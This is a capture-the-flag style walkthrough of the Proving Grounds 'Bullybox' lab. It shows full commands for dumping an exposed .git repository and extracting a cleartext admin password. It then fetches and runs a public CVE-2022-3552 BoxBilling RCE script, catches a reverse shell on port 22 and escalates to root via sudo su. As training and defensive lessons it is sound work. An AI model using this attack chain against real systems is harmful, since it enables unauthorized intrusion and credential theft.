the_open_door
coffee
ESEN

Bullybox

Proving Grounds PracticeMediumLinux192.168.186.27

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#boxbilling#git-dump#cve-2022-3552#credential-disclosure#vhost#sudo-group#rce#oscp
TL;DR. Bullybox serves BoxBilling behind the bullybox.local vhost and leaves the .git directory exposed. We pull it with git-dumper (git-dump) and bb-config.php reveals the admin password. With it, the vulnerable BoxBilling version falls to CVE-2022-3552 (authenticated RCE), which lands a shell as yuki (CVE-2022-3552). That user is in the sudo group, so a plain sudo su makes us root (sudo group abuse).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Only two ports open:

ping -c 1 192.168.186.27
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.186.27
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.186.27 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).

SSH without credentials is no way in; the focus is 80.

HTTP - TCP 80

A curl to the IP returns a JavaScript redirect to http://bullybox.local/. The server uses name-based virtual hosting, so we add the entry to /etc/hosts for it to resolve:

curl 192.168.186.27
echo "192.168.186.27  bullybox.local" | sudo tee -a /etc/hosts
<script>
    window.location.href = "http://bullybox.local/"
</script>

With the name resolving, the site loads BoxBilling, a PHP billing and client-management system:

BoxBilling page on bullybox.local with the Sign In / Create new account form

Discovering routes and an exposed .git

dirsearch reveals the admin panel (/bb-admin) and, most juicy, a .git reachable over HTTP:

dirsearch -u http://bullybox.local/ -t 200 --exclude-status=404,403,521,401,503,200
301  /.git  ->  http://bullybox.local/.git/
301  /.git/refs/heads
301  /.git/logs/refs
302  /bb-admin  ->  http://bullybox.local/bb-admin/staff/login
302  /client    ->  http://bullybox.local/login
302  /dashboard ->  http://bullybox.local/login

A Git repository served unprotected usually holds the application's full source code, with its configuration files. It's a classic deployment slip.

Dumping the .git with git-dumper

git-dumper (repo) reconstructs the whole repository by downloading the objects over HTTP (git-dump). We clone it and install its dependencies (dulwich is the one doing the actual work of reading the Git objects):

git clone https://github.com/arthaud/git-dumper
cd git-dumper
ls
pip3 install -r requirements.txt --break-system-packages

git clone of git-dumper: the repo ships git_dumper.py and requirements.txt, and pip3 confirms the dependencies are already satisfied

Cloning into 'git-dumper'...
Receiving objects: 100% (204/204), 67.13 KiB | 1.92 MiB/s, done.

LICENSE  README.md  git_dumper.py  pyproject.toml  requirements.txt  setup.cfg

Requirement already satisfied: PySocks in /usr/lib/python3/dist-packages (1.7.1)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (2.32.5)
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (4.14.3)
Requirement already satisfied: dulwich in /usr/local/lib/python3.13/dist-packages (0.24.10)
Requirement already satisfied: requests-pkcs12 in /usr/local/lib/python3.13/dist-packages (1.27)

With the tool ready, we point it at the exposed .git:

python3 git_dumper.py http://bullybox.local .git/

git-dumper reconstructs the repository: bb-config.php, bb-config-sample.php, bb-library, bb-vendor and the rest of the BoxBilling code appear

CHANGELOG.md  README.md             bb-cron.php  bb-ipn.php   bb-locale   bb-update.php  config       index      logs         rb.php
HEAD          bb-config-sample.php  bb-data      bb-library   bb-modules  bb-uploads     description  index.php  objects      refs
LICENSE       bb-config.php         bb-di.php    bb-load.php  bb-themes   bb-vendor      hooks        info       packed-refs  robots.txt

We have the entire BoxBilling code locally, including bb-config.php, where these apps store the database and admin credentials.

Admin password disclosure

We search for passwords in the dumped code:

grep -ri password . | tail

grep -ri password shows in ./bb-config.php the line 'password' =&gt; 'Playing-Unstylish7-Provided'

./bb-config.php:    'password' => 'Playing-Unstylish7-Provided',

The password Playing-Unstylish7-Provided is in clear text in bb-config.php. Combined with the admin account (admin@bullybox.local), it gets us into the panel.

BoxBilling - vulnerable version

searchsploit confirms this BoxBilling version has a known RCE:

searchsploit boxbilling
BoxBilling <= 4.22.1.5 - Remote Code Execution (RCE)   php/webapps/51108.txt

It's CVE-2022-3552, an authenticated remote code execution: the panel processes certain fields insecurely and an administrator can turn that trust into RCE (CVE-2022-3552).

Exploitation

Finding and downloading the exploit

The Exploit-DB file (51108.txt) is the write-up of the vulnerability, not a runnable exploit, so we look for an implementation. Searching boxbilling exploit returns the Exploit-DB entry itself and, right below it, a GitHub repository with the CVE already automated:

Search for boxbilling exploit: the Exploit-DB entry BoxBilling 4.22.1.5 RCE and the GitHub repository 0xk4b1r/CVE-2022-3552

Exploit DB
BoxBilling<=4.22.1.5 - Remote Code Execution (RCE)
28 Mar 2023. CVE-2022-3552. webapps exploit for PHP platform.

GitHub
CVE-2022-3552 - BoxBilling<=4.22.1.5
BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) - 0xk4b1r/CVE-2022-3552

We download the script straight from the repository (repo):

wget https://raw.githubusercontent.com/0xk4b1r/CVE-2022-3552/refs/heads/main/CVE-2022-3552.py

wget downloads CVE-2022-3552.py from 0xk4b1r's repository: 200 OK and 6579 bytes saved

HTTP request sent, awaiting response... 200 OK
Length: 6579 (6.4K) [text/plain]
Saving to: 'CVE-2022-3552.py'
'CVE-2022-3552.py' saved [6579/6579]

CVE-2022-3552: authenticated RCE

The exploit's payload calls back to port 22, so on top of Penelope's default listener (4444) we need one on that port before firing it:

penelope
(Penelope)> listeners add -p 22

The exploit logs in with the credentials we have and delivers the shell:

python3 CVE-2022-3552.py --domain http://bullybox.local/ -u 'admin@bullybox.local' -p 'Playing-Unstylish7-Provided'

The output confirms the flow (Successfully logged in, Payload saved successfully, Getting Shell) and the connection lands on the handler (penelope), which upgrades the shell to a PTY. We land as yuki:

The exploit prints "Successfully logged in / Payload saved successfully / Getting Shell" and penelope gets the shell from bullybox-192.168.186.27 as yuki

[+] Successfully logged in
[+] Payload saved successfully
[+] Getting Shell

[+] Listening for reverse shells on 0.0.0.0:22
[+] Got reverse shell from bullybox~192.168.186.27-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!

yuki@bullybox:/$ whoami
yuki

Post-exploitation

Privilege escalation: sudo group abuse

The first move is to check which groups yuki belongs to. id tells it all: it's in the sudo group (GID 27), the one /etc/sudoers authorizes by default to run any command as root (sudo group abuse):

id
sudo su

id shows groups=1001(yuki),27(sudo); sudo su returns a root shell

uid=1001(yuki) gid=1001(yuki) groups=1001(yuki),27(sudo)
yuki@bullybox:/$ sudo su
root@bullybox:/# whoami
root

Membership in the sudo group with no restrictions is the master key: sudo su asks for yuki's own password (the one we already knew) and returns a root shell.

Proof

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on bullybox (192.168.186.27)

a090ee0216665c29eb91e45126538385
root

Attack chain

HTTP (80)  --  vhost bullybox.local -> BoxBilling
        │  exposed /.git -> git-dumper
        ▼
source code with bb-config.php
        │  admin password in clear: Playing-Unstylish7-Provided
        │  CVE-2022-3552 (authenticated RCE)
        ▼
shell as yuki
        │  id -> sudo group (GID 27)
        │  sudo su
        ▼
root  (proof.txt)

Lessons learned

  • An exposed .git is the full source code. git-dumper rebuilt the whole application, and with the code came the credentials. The .git directory must never be served from the document root.
  • Credentials in config files aren't secret if the code leaks. bb-config.php held the admin password in clear text; a single grep found it.
  • Many RCEs are authenticated, but the auth leaks beforehand. CVE-2022-3552 requires an admin session; the .git gave us one. The chain is worth more than any single vulnerability for how the pieces fit.
  • Being in the sudo group is being root. id should be one of the first commands after getting a shell: a GID 27 solved the escalation with a single sudo su.
Command cheatsheet 8 commands

Quick review